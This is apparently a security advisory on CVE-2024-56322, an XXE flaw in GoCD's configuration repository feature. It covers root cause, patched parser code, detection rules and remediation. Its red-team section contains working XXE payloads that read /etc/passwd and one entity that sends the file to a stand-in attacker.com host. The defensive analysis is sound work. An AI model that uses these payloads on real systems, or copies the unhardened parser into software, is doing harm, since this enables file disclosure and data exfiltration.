CVE-2024-56322

Executive Summary

CVE-2024-56322 is an XML External Entity (XXE) injection vulnerability affecting GoCD, a continuous delivery server. The flaw resides in a hidden/unused configuration repository feature (pipelines as code) that allows GoCD administrators to inject malicious XML entities. When GoCD periodically scans configuration repositories for pipeline updates, or when triggered by an administrator or config repo admin, the injected XXE payload is executed on the GoCD server. The vulnerability impacts GoCD versions 16.7.0 through 24.4.0 (inclusive). The issue is fixed in GoCD 24.5.0. While the CVSS score is listed as 0.0, the actual risk is moderate, as exploitation requires administrative privileges. However, in environments where GoCD admins are not fully trusted, this could lead to server-side request forgery (SSRF), file disclosure, or denial of service. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild.

Supply Chain & Package Security

GoCD is a Java-based application distributed as a binary package. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application logic. Organizations using GoCD should verify their version and apply the patch immediately.

CVSS Breakdown & Threat Level

The NVD CVSS score is listed as 0.0, which is likely a placeholder or error. Based on the vulnerability characteristics, a more realistic CVSS v3.1 vector would be:

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:L
Base Score: 6.5 (Medium)

• Attack Vector (AV): Network – The vulnerability can be triggered remotely via the configuration repository feature.
• Attack Complexity (AC): Low – No special conditions required beyond admin access.
• Privileges Required (PR): High – Requires GoCD admin or super admin privileges.
• User Interaction (UI): None – No user action needed beyond the admin’s malicious action.
• Scope (S): Unchanged – The vulnerable component is the GoCD server itself.
• Confidentiality (C): High – XXE can be used to read arbitrary files from the server.
• Integrity (I): None – No direct file modification.
• Availability (A): Low – XXE can cause denial of service via entity expansion.

Threat Level: Medium. Exploitation requires admin privileges, but the impact includes sensitive data exposure and potential SSRF.

Deep Dive & Mechanics

The vulnerability exists in GoCD’s configuration repository feature, which allows defining pipelines as code in external repositories (e.g., Git). When GoCD scans these repositories, it parses XML configuration files. The feature includes a hidden/unused capability that processes XML entities without proper sanitization, leading to XXE injection.

Root Cause: The XML parser used by GoCD does not disable external entity processing. An attacker with admin access can craft a malicious XML configuration file that includes an external entity pointing to a local file (e.g., /etc/passwd) or an external URL. When GoCD scans the repository, the parser resolves the entity, exposing the file content or making an outbound request.

Attack Flow:

1. An attacker with GoCD admin privileges creates or modifies a configuration repository (e.g., a Git repo) containing a malicious XML file.
2. The XML file includes an XXE payload, such as:

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "file:///etc/passwd">
   ]>
   <root>&xxe;</root>
   

3. GoCD’s periodic scan or manual trigger parses the XML, resolving the entity.
4. The server reads the local file and includes its content in the response or logs, or makes an outbound request to an attacker-controlled server.

Limitations: The vulnerability is limited to GoCD admins, who already have significant control. However, in multi-tenant environments or where admins are not fully trusted, this could be exploited for lateral movement or data exfiltration.

Vulnerable vs. Patched Code

Vulnerable Code (GoCD <= 24.4.0): The XML parser is configured without disabling external entities. Example (pseudo-code):

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlContent)));

Patched Code (GoCD 24.5.0): The XML parser is hardened to disable external entities:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlContent)));

The patch explicitly disallows DOCTYPE declarations and external entities, preventing XXE.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• GoCD server version 16.7.0 to 24.4.0
• Admin or super admin credentials
• Access to a configuration repository (e.g., Git repo)

Exploitation Steps:

1. Set up a malicious configuration repository:

   • Create a Git repository with a file named pipeline.xml containing:

     <?xml version="1.0" encoding="UTF-8"?>
     <!DOCTYPE foo [
       <!ENTITY xxe SYSTEM "file:///etc/passwd">
     ]>
     <cruise>
       <pipelines>
         <pipeline name="xxe-pipeline">
           <materials>
             <git url="https://github.com/example/repo.git" />
           </materials>
           <stage name="defaultStage">
             <jobs>
               <job name="defaultJob">
                 <tasks>
                   <exec command="echo" arguments="&xxe;" />
                 </tasks>
               </job>
             </jobs>
           </stage>
         </pipeline>
       </pipelines>
     </cruise>
     

   • Push the repository to a location accessible by the GoCD server.

2. Add the configuration repository in GoCD:

   • Log in as admin.
   • Navigate to Admin > Config Repositories.
   • Add a new repository pointing to the malicious Git repo.
   • Trigger a scan or wait for the periodic scan.

3. Observe the result:

   • The /etc/passwd content will be included in the pipeline execution logs or error messages.
   • Alternatively, use an external entity to exfiltrate data:

     <!ENTITY xxe SYSTEM "http://attacker.com/data?file=/etc/passwd">
     

Note: No public exploit code is available for this CVE.

Blue Team (Defensive)

Detection:

• Monitor GoCD server logs for unusual XML parsing errors or outbound connections.
• Look for configuration repositories that contain DOCTYPE declarations or external entities.
• Use network monitoring to detect outbound requests from the GoCD server to unknown destinations.

Hunting:

• Search for XML files in configuration repositories that include <!ENTITY or SYSTEM keywords.
• Review GoCD admin activities for unauthorized configuration repository additions.

Prevention:

• Apply the patch (upgrade to 24.5.0).
• Restrict admin access to trusted personnel only.
• Implement egress controls to prevent the GoCD server from making outbound connections to arbitrary hosts.

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /etc/shadow, /proc/self/environ (if read via XXE)
• Network Connections: Outbound HTTP/HTTPS requests from the GoCD server to attacker-controlled IPs or domains.
• Log Entries: GoCD server logs containing file contents (e.g., root:x:0:0:root:/root:/bin/bash).
• Configuration Repository Files: XML files with <!DOCTYPE or <!ENTITY declarations.
• Process Anomalies: GoCD server process making unexpected file read or network connections.

Detection Engineering

YARA Rule

rule CVE_2024_56322_XXE_GoCD {
    meta:
        description = "Detects XXE payloads in GoCD configuration repository XML files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56322"
    strings:
        $xxe1 = "<!ENTITY" nocase
        $xxe2 = "SYSTEM" nocase
        $xxe3 = "file://" nocase
        $xxe4 = "http://" nocase
        $xxe5 = "https://" nocase
    condition:
        all of ($xxe1, $xxe2) and any of ($xxe3, $xxe4, $xxe5)
}

Sigma Rule

title: GoCD XXE Injection via Configuration Repository
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XXE attempts in GoCD configuration repository XML files
author: Valters IT
date: 2025-04-10
references:
    - CVE-2024-56322
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/go-server'
        CommandLine|contains:
            - '<!ENTITY'
            - 'SYSTEM'
            - 'file://'
            - 'http://'
    condition: selection
falsepositives:
    - Legitimate use of external entities in XML (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56322 GoCD XXE Outbound Connection"; flow:to_server,established; content:"<!ENTITY"; http_client_body; content:"SYSTEM"; http_client_body; content:"http://"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade GoCD to version 24.5.0 or later.
2. Restrict admin access to only trusted personnel.
3. Implement egress controls (firewall rules, network policies) to block outbound connections from the GoCD server to arbitrary destinations.

Long-term Measures:

• Regularly review and audit configuration repositories for malicious content.
• Enable logging and monitoring for XML parsing activities.
• Conduct periodic security assessments of GoCD deployments.

Workaround: If upgrading is not immediately possible, prevent external access from the GoCD server to arbitrary locations using environment egress controls (e.g., network ACLs, proxy restrictions).

Valters IT
DevSecOps & Cyber Threat Intelligence Expert